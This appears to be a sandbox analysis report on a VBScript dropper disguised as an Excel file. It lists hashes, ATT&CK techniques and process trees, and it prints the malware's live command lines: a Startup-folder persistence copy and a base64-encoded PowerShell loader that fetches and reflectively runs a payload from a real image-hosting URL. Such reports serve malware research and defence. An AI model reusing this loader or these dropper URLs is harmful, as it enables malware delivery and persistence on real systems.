7ca1df4dbbeec2613da7d3761e7809633626a4112325c7cc36a7091963f8e0d3

General

Target

Company-profile-of-VCR-ORDER#63729.xlsx.vbs
Size

152KB
MD5

41cf7825cf77ddf8fb888749b7b6547f
SHA1

b89fc1ab3e8df2bc33e8aae8f1bf6a82b1788705
SHA256

9a9e5c97bca11cc8a54c61b20e4dbb5ed1dc77f9327e0e27c8bf1e86fb6bb5d7
SHA512

232cd73ade4e1433a65e377833eb16b9c01dfaf6b59012e163758c67233252551fab98887fad9ad2bc4f84f4233eff59495d594834c15c25020872ad7bff3f64
SSDEEP

3072:1ew51avxlU+tI1DTQX8F7CNEoWGXu+Fqew51avxlU+tI1DTQX8F7CNEoWGXu+qeF:1ecOxlUq6sX8F7cKGXPFqecOxlUq6sXB

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2904	powershell.exe
7	2904	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2304	powershell.exe
2904	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1908	cmd.exe
2412	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2412	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2304	powershell.exe
2904	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2304	powershell.exe
Token: SeDebugPrivilege	2904	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2120 wrote to memory of 1908	2120	WScript.exe	30
PID 2120 wrote to memory of 1908	2120	WScript.exe	30
PID 2120 wrote to memory of 1908	2120	WScript.exe	30
PID 1908 wrote to memory of 2412	1908	cmd.exe	32
PID 1908 wrote to memory of 2412	1908	cmd.exe	32
PID 1908 wrote to memory of 2412	1908	cmd.exe	32
PID 1908 wrote to memory of 2304	1908	cmd.exe	33
PID 1908 wrote to memory of 2304	1908	cmd.exe	33
PID 1908 wrote to memory of 2304	1908	cmd.exe	33
PID 2120 wrote to memory of 2904	2120	WScript.exe	34
PID 2120 wrote to memory of 2904	2120	WScript.exe	34
PID 2120 wrote to memory of 2904	2120	WScript.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Company-profile-of-VCR-ORDER#63729.xlsx.vbs"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Company-profile-of-VCR-ORDER#63729.xlsx.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1908
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2412
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Company-profile-of-VCR-ORDER#63729.xlsx.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $unreachable = 'JHNvbmhvb2QgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskZ2xhdWNvbWFzID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskbWFsbGVhYmx5ID0gJGdsYXVjb21hcy5Eb3dubG9hZERhdGEoJHNvbmhvb2QpOyRpbmRldGVybWluYWNpZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkbWFsbGVhYmx5KTskc3dpbmdsZXRyZWUgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JHVuZGVycGF5bWVudHMgPSAnPDxCQVNFNjRfRU5EPj4nOyRyZXByb2dyYW1lZCA9ICRpbmRldGVybWluYWNpZXMuSW5kZXhPZigkc3dpbmdsZXRyZWUpOyRmdW5jdGlvbmFsaXN0ID0gJGluZGV0ZXJtaW5hY2llcy5JbmRleE9mKCR1bmRlcnBheW1lbnRzKTskcmVwcm9ncmFtZWQgLWdlIDAgLWFuZCAkZnVuY3Rpb25hbGlzdCAtZ3QgJHJlcHJvZ3JhbWVkOyRyZXByb2dyYW1lZCArPSAkc3dpbmdsZXRyZWUuTGVuZ3RoOyRwYXJsb3VyID0gJGZ1bmN0aW9uYWxpc3QgLSAkcmVwcm9ncmFtZWQ7JHNoZWVwc2tpbnMgPSAkaW5kZXRlcm1pbmFjaWVzLlN1YnN0cmluZygkcmVwcm9ncmFtZWQsICRwYXJsb3VyKTskdmlyb2xvZ2lzdHMgPSAtam9pbiAoJHNoZWVwc2tpbnMuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJHNoZWVwc2tpbnMuTGVuZ3RoKV07JGpvY2tvcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHZpcm9sb2dpc3RzKTskZGVidW5rZXJzID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkam9ja29zKTskZXhvbmVyYXRpb25zID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGV4b25lcmF0aW9ucy5JbnZva2UoJG51bGwsIEAoJ2IyZjA4OTNkZDlhNC0wNmZiLTMzNTQtZWY0YS0wMmM1Nzk3YT1uZWtvdCZhaWRlbT10bGE/dHh0LlBVVC9vL21vYy50b3BzcHBhLjY3N2QyLW9sb3BodGFrL2IvMHYvbW9jLnNpcGFlbGdvb2cuZWdhcm90c2VzYWJlcmlmLy86c3B0dGgnLCAnJGVzdXJpZW5jZScsICckZXN1cmllbmNlJywgJyRlc3VyaWVuY2UnLCAnTVNCdWlsZCcsICckZXN1cmllbmNlJywgJyRlc3VyaWVuY2UnLCckZXN1cmllbmNlJywnJGVzdXJpZW5jZScsJyRlc3VyaWVuY2UnLCckZXN1cmllbmNlJywnJGVzdXJpZW5jZScsJzEnLCckZXN1cmllbmNlJykpOw==';$imbedded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unreachable));Invoke-Expression $imbedded
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\CabC8EC.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarC8FF.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
9d3275e851273793e8a44aeb8e5cbd45

SHA1
07e7ce82db3aa45ef3a6f8ff38989ef5bd494311

SHA256
5e1a9777c2b7191ae16f1b0b5d27880edb8a32fd353ed798a48362cdd2b65d5b

SHA512
4bf920d13a4ec12ef9b17d22c549f012bb8ee34ec273b0cc849d7106f6e210b08433fdeb0ae83fef4872c54739be042c9ece0b92601d2d723bdb79964fab064d

Download Submit
memory/2304-11-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2304-9-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2304-10-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2304-5-0x000007FEF599E000-0x000007FEF599F000-memory.dmp

Filesize
4KB

Download
memory/2304-12-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2304-8-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2304-7-0x0000000002720000-0x0000000002728000-memory.dmp

Filesize
32KB

Download
memory/2304-6-0x000000001B5B0000-0x000000001B892000-memory.dmp

Filesize
2.9MB

Download
memory/2904-18-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download
memory/2904-19-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing